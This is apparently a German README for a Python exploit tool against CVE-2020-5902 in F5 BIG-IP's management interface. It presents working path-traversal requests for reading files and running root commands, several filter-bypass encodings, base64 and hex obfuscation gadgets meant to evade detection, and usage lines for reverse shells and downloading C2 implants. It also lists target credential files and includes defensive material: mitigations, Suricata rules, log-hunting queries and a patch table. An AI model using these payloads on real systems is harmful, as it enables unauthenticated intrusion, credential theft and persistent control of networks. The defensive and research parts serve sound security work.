
F5 BIG-IP ist eine Plattform für Anwendungsbereitstellung und -sicherheit, die in Unternehmensumgebungen weit verbreitet ist. Die CVE-2020-5902 ist eine kritische Schwachstelle im TMUI, die in nicht gepatchten Versionen unbefugten Zugriff und Remote-Code-Ausführung ermöglichen kann, was die Notwendigkeit von Aktualisierungen und kontinuierlichem Schwachstellenmanagement unterstreicht.
Proof-of-Concept-Exploit für die kritische Path-Traversal-/Remote-Codeausführungs-Schwachstelle in F5 BIG-IPs Traffic Management User Interface (TMUI).
⚠️ Nur für autorisierte Penetrationstests und Sicherheitsforschung. Der unbefugte Einsatz gegen Systeme, die einem nicht gehören oder für die keine schriftliche Genehmigung zum Testen vorliegt, ist illegal. Der Autor übernimmt keine Haftung für den Missbrauch dieses Tools.
F5 BIG-IP ist eine Familie vielseitiger Netzwerkgeräte (Load Balancer, WAFs, Application Delivery Controller), die weltweit in der Mehrheit der Fortune-500-Unternehmen, Finanzinstitute, Gesundheitsorganisationen und Regierungsbehörden eingesetzt wird. Das Traffic Management User Interface (TMUI) — auch als Konfigurationsprogramm bezeichnet — ist das webbasierte Verwaltungsportal, das über Port 443 (oder 8443) erreichbar ist.
Im Juli 2020 legte F5 CVE-2020-5902 offen, eine kritische (CVSS 9.8) Path-Traversal-Schwachstelle ohne Authentifizierung im TMUI, die es einem entfernten, nicht authentifizierten Angreifer ermöglicht:
Innerhalb von Tagen nach der öffentlichen Offenlegung wurde eine massenhafte Ausnutzung in freier Wildbahn beobachtet, unter anderem durch staatlich geförderte Akteure.
Das TMUI basiert auf Apache Tomcat und verwendet einen Servlet-Filter, um die Authentifizierung für geschützte Ressourcen durchzusetzen. Die Schwachstelle liegt in der Art und Weise, wie Tomcat durch Semikolon getrennte Pfadsegmente (;) parst.
Die folgende Anfrage umgeht die Authentifizierung vollständig:
GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd
Warum es funktioniert:
/tmui/login.jsp (endet vor ;) — also die öffentliche Anmeldeseite — und erlaubt die Anfrage./..;/ als Path Traversal (/../), bevor die Weiterleitung erfolgt.fileRead.jsp-Servlet weitergeleitet.┌──────────────────────────────────────────────────────────────────┐
│ Client Request │
│ GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp │
└────────────────────────────┬─────────────────────────────────────┘
│
┌───────────────▼───────────────┐
│ Tomcat Servlet Filter │
│ Sees: /tmui/login.jsp ✓ │
│ (public endpoint → ALLOW) │
└───────────────┬───────────────┘
│
┌───────────────▼───────────────┐
│ Tomcat URL Resolver │
│ Resolves: /..;/ → /../ │
│ Final path: /tmui/locallb/ │
│ workspace/fileRead.jsp ← 🔓 │
└───────────────┬───────────────┘
│
┌───────────────▼───────────────┐
│ fileRead.jsp (no auth check) │
│ Reads arbitrary files as root│
└───────────────────────────────┘
Das tmshCmd.jsp-Servlet (ebenfalls über denselben Traversal erreichbar) übergibt die Parameter command und utilCmdArgs direkt an tmsh (die BIG-IP-Verwaltungsshell), die run util bash -c '...' kapselt. Dies ermöglicht eine Befehlsausführung im Betriebssystem mit Root-Rechten ohne Authentifizierung:
POST /tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp
command=run+util+bash+-c+'id'&utilCmdArgs=-c+'id'
Phase 1: Reconnaissance
└─ TCP banner grab (HTTP/TLS fingerprint)
└─ SSL certificate analysis
└─ HTTP headers fingerprint (Server, X-Powered-By, Set-Cookie)
└─ BIG-IP version estimation from /etc/f5-release
Phase 2: Vulnerability Check
└─ Iterate over 6 traversal encoding variants
└─ Test against 4 known-readable sentinel files
└─ Confirm output matches known indicators (root:x:0:0, BIG-IP, etc.)
Phase 3: Exploitation
├─ Vector A: tmshCmd.jsp (primary RCE)
│ └─ Command obfuscated via base64 / hex-encode gadgets
├─ Vector B: fileRead.jsp + command injection in fileName param
│ └─ OS command injected into the fileName parameter
└─ Vector C: Log poisoning (User-Agent injection → read access_log)
Phase 4: Post-Exploitation (optional)
├─ Interactive shell (command REPL)
├─ Reverse shell (4 concurrent one-liners)
├─ LFI brute-force (30 sensitive paths, parallel)
└─ C2 implant deployment (Sliver / Metasploit / custom)
Das Tool wendet pro Ausführung eines von zwei Verschleierungs-Gadgets an, was die Erkennung durch statische Signaturen erschwert:
# Gadget 1 — Base64 encode/decode pipeline
bash -c {echo,aWQ=}|{base64,-d}|bash
# Gadget 2 — Hex-byte printf evaluation
eval "$(printf '\x69\x64')"
BIG-IQ, BIG-IQ Centralized Management, F5OS und Traffix SDC sind von dieser spezifischen CVE nicht betroffen.
!revshell-, !c2-, !read-, !brute-Befehlegit clone https://github.com/DevRafaelprogrammer/F5-BIG-IP.git
cd F5-BIG-IP
pip install requests pycryptodome urllib3
Anforderungen: Python 3.10+
python CVE-2020-5902.py [-h] [--port PORT] [--proxy URL] [--no-recon]
[--cmd CMD] [--shell] [--lfi-brute]
[--revshell LHOST LPORT]
[--c2-url URL] [--c2-type TYPE] [--c2-args ARGS]
target
# 1. Vulnerability check only
python CVE-2020-5902.py 192.168.1.100
# 2. Custom port + single command execution
python CVE-2020-5902.py 192.168.1.100 --port 8443 --cmd "id && uname -a"
# 3. Interactive shell
python CVE-2020-5902.py 192.168.1.100 --shell
# 4. LFI brute-force (reads 30 sensitive paths)
python CVE-2020-5902.py 192.168.1.100 --lfi-brute
# 5. Reverse shell callback
python CVE-2020-5902.py 192.168.1.100 --revshell 10.0.0.1 4444
# 6. Deploy a C2 implant (Sliver example)
python CVE-2020-5902.py 192.168.1.100 \
--c2-url http://10.0.0.1:8000/implant \
--c2-type linux
# 7. Route through Burp Suite for traffic inspection
python CVE-2020-5902.py 192.168.1.100 --proxy http://127.0.0.1:8080
Im --shell-Modus stehen folgende Sonderbefehle zur Verfügung:
Die mit Abstand effektivste Gegenmaßnahme besteht darin, sicherzustellen, dass die Verwaltungsoberfläche niemals aus nicht vertrauenswürdigen Netzwerken erreichbar ist:
# BIG-IP: restrict management access to a dedicated VLAN/IP range
tmsh modify sys httpd allow replace-all-with { 10.0.0.0/8 192.168.0.0/16 }
tmsh save sys config
Alternativ kann über die BIG-IP-Self-IP-Konfiguration sichergestellt werden, dass der Verwaltungsport keine externe Route besitzt.
F5 hat ein Gegenmaßnahmen-Skript veröffentlicht, das eine Apache-RewriteRule hinzufügt, um das Traversal-Muster zu blockieren:
# /etc/httpd/conf.d/CVE-2020-5902.conf
RewriteEngine On
RewriteCond %{THE_REQUEST} "([^\ ]+)\x3b" [NC]
RewriteRule ^ - [F,L]
Referenz: K52145254 — Gegenmaßnahmen
Die endgültige Lösung besteht darin, BIG-IP auf eine gepatchte Version zu aktualisieren (siehe Tabelle Betroffene Versionen). F5 hat die Servlet-Filterlogik korrigiert, sodass durch Semikolon getrennte Pfadsegmente nun korrekt geparst werden, bevor die Authentifizierung durchgesetzt wird.
┌────────────────────────────────────────────────────────────────┐
│ RECOMMENDED ARCHITECTURE │
│ │
│ Internet ──────► Firewall ──────► DMZ / Production │
│ │ │
│ │ (DENY all traffic to mgmt ports) │
│ │ │
│ Jump Host ──────► BIG-IP TMUI (port 443) │
│ (MFA + VPN) (management VLAN only) │
└────────────────────────────────────────────────────────────────┘
Wichtige Prinzipien:
Self-IP sollte auf Allow None oder Allow Defaults gesetzt werdenWenn sich eine WAF vor der BIG-IP-Verwaltung befindet (ungewöhnlich, aber in manchen Architekturen möglich), sollten Regeln hinzugefügt werden, um Folgendes zu blockieren:
; im URL-Pfad enthalten..; oder %3b in Pfadsegmenten enthalten/tmui/locallb/workspace/ aus Nicht-Verwaltungsquellen[ ] BIG-IP auf eine gepatchte Version aktualisiert
[ ] TMUI nicht im Internet erreichbar (mit Shodan/Censys überprüfen)
[ ] Verwaltungs-VLAN vom Produktionsnetz getrennt
[ ] Self-IP-Portsperre konfiguriert (Allow None oder Allow Defaults)
[ ] MFA für den Verwaltungszugriff erzwungen
[ ] BIG-IP-Softwareinventar im Asset-Management-System
[ ] Automatisiertes Schwachstellenscanning (Tenable/Qualys) umfasst BIG-IP
[ ] Protokollweiterleitung an SIEM konfiguriert (access_log, audit.log)
[ ] Netzwerksegmentierung: Ein kompromittiertes BIG-IP kann keine Domänencontroller erreichen
[ ] Incident-Response-Playbook enthält ein Szenario für die Kompromittierung von Netzwerkgeräten
# Detect path traversal attempts (semicolon bypass)
alert http any any -> $HOME_NET 443 (
msg:"CVE-2020-5902 F5 BIG-IP TMUI Path Traversal";
flow:to_server,established;
content:"tmui"; http_uri; nocase;
content:"..;"; http_uri;
content:"workspace"; http_uri; nocase;
reference:cve,2020-5902;
sid:9000001; rev:1;
)
# Detect encoded semicolon variant
alert http any any -> $HOME_NET 443 (
msg:"CVE-2020-5902 F5 BIG-IP TMUI Path Traversal (encoded)";
flow:to_server,established;
content:"tmui"; http_uri; nocase;
content:"%3b"; http_uri; nocase;
content:"fileRead"; http_uri; nocase;
reference:cve,2020-5902;
sid:9000002; rev:1;
)
# Hunt for traversal attempts in BIG-IP access logs
grep -iE "(\.\.;|%2e%2e|%252e|\.\.%3b|%2e%2e%3b)" /var/log/httpd/access_log
# Look for successful hits to the vulnerable endpoints
grep -iE "(fileRead\.jsp|tmshCmd\.jsp|workspace)" /var/log/httpd/access_log | \
grep -v "^10\.\|^192\.168\.\|^172\.1[6-9]\.\|^172\.2[0-9]\.\|^172\.3[0-1]\."
index=network sourcetype=f5:bigip:access
(uri_path="*..;*" OR uri_path="*%3b*" OR uri_path="*%2e%2e*")
(uri_path="*workspace*" OR uri_path="*fileRead*" OR uri_path="*tmshCmd*")
| eval risk=if(status=200, "HIGH", "MEDIUM")
| stats count by src_ip, uri_path, status, risk
| sort -count
URL-Muster:
/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp
/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp
/tmui/login.jsp/%2e%2e;/tmui/locallb/workspace/fileRead.jsp
/tmui/login.jsp/..%3b/tmui/locallb/workspace/fileRead.jsp
Häufige Angreiferziele (zugegriffene Dateien):
/etc/passwd — Ernten von Zugangsdaten
/config/bigip.conf — Exfiltration der VPN-/Routing-Konfiguration
/config/bigip.license — Diebstahl des Lizenzschlüssels
/config/bigip_user.conf — Aufzählung lokaler Administratorkonten
/root/.bash_history — Aufklärung des Befehlsverlaufs
http.title:"BIG-IP" port:443Dieses Tool wird ausschließlich für Bildungszwecke und autorisierte Sicherheitsbewertungen bereitgestellt. Es ist gedacht für:
Die Verwendung dieses Tools gegen Systeme ohne ausdrückliche schriftliche Genehmigung ist eine Straftat gemäß dem Computer Fraud and Abuse Act (CFAA), dem britischen Computer Misuse Act, dem brasilianischen Gesetz Lei Nº 12.737/2012 (Lei Carolina Dieckmann) und vergleichbaren Gesetzen in den meisten Rechtsordnungen weltweit.
Der Autor und die Mitwirkenden dieses Repositorys übernehmen keine Verantwortung für jegliche Schäden, rechtliche Konsequenzen oder sonstigen Schaden, die aus dem Missbrauch dieser Software entstehen.
Für die Sicherheitsforschungs-Community erstellt. Patcht eure Systeme. Schützt eure Netzwerke.
| Variante | Payload |
|---|
| Standard | tmui/login.jsp/..;/tmui/... |
| Codiertes Semikolon | tmui/login.jsp/..%3b/tmui/... |
| Doppelte URL-Codierung | tmui%2flogin.jsp%2f..%3b%2ftmui%2f... |
| Unicode-Punkt-Punkt | tmui/login.jsp/%2e%2e;/tmui/... |
| Groß-/Kleinschreibungsvariante | TMUI/login.jsp/..;/tmui/... |
| Verzeichnis-Verwechslung | tmui/login.jsp/..;/tmui/locallb/workspace/../workspace/... |
| BIG-IP-Zweig | Verwundbarer Bereich | Gepatchte Version |
|---|
| 15.x | < 15.1.0.4 | ≥ 15.1.0.4 |
| 14.x | < 14.1.2.6 | ≥ 14.1.2.6 |
| 13.x | < 13.1.3.4 | ≥ 13.1.3.4 |
| 12.x | < 12.1.5.2 | ≥ 12.1.5.2 |
| 11.x | < 11.6.5.2 | ≥ 11.6.5.2 |
| Befehl | Beschreibung |
|---|
!revshell <lhost> <lport> | 4 Reverse-Shell-Varianten gleichzeitig abfeuern |
!c2 <url> <type> [args] | Ein C2-Implantat herunterladen und ausführen |
!read <path> | Eine beliebige Datei über LFI lesen |
!brute | Brute-Force auf 30 sensible Pfade |
!exit | Die Sitzung beenden |
<beliebiger OS-Befehl> | Über RCE ausführen und Ausgabe anzeigen |
| Datum | Ereignis |
|---|
| 2020-06-30 | F5 wurde privat informiert |
| 2020-07-01 | F5 veröffentlicht Advisory (K52145254) und Patches |
| 2020-07-03 | Öffentlicher PoC auf Twitter veröffentlicht |
| 2020-07-04 | Massenhafte Ausnutzung von mehreren Threat-Intelligence-Unternehmen beobachtet |
| 2020-07-06 | CISA erlässt die Notfallanweisung 20-03, die das Patchen für Bundesbehörden vorschreibt |
| 2020-07-09 | Staatlich geförderte Akteure (APT) bestätigten die Ausnutzung in freier Wildbahn |
| 2020-07-15 | Etwa 8.000 BIG-IP-Instanzen weiterhin ungepatcht (Shodan) |
| 2020-08-xx | Ransomware-Gruppen beginnen, ungepatchte BIG-IP-Geräte ins Visier zu nehmen |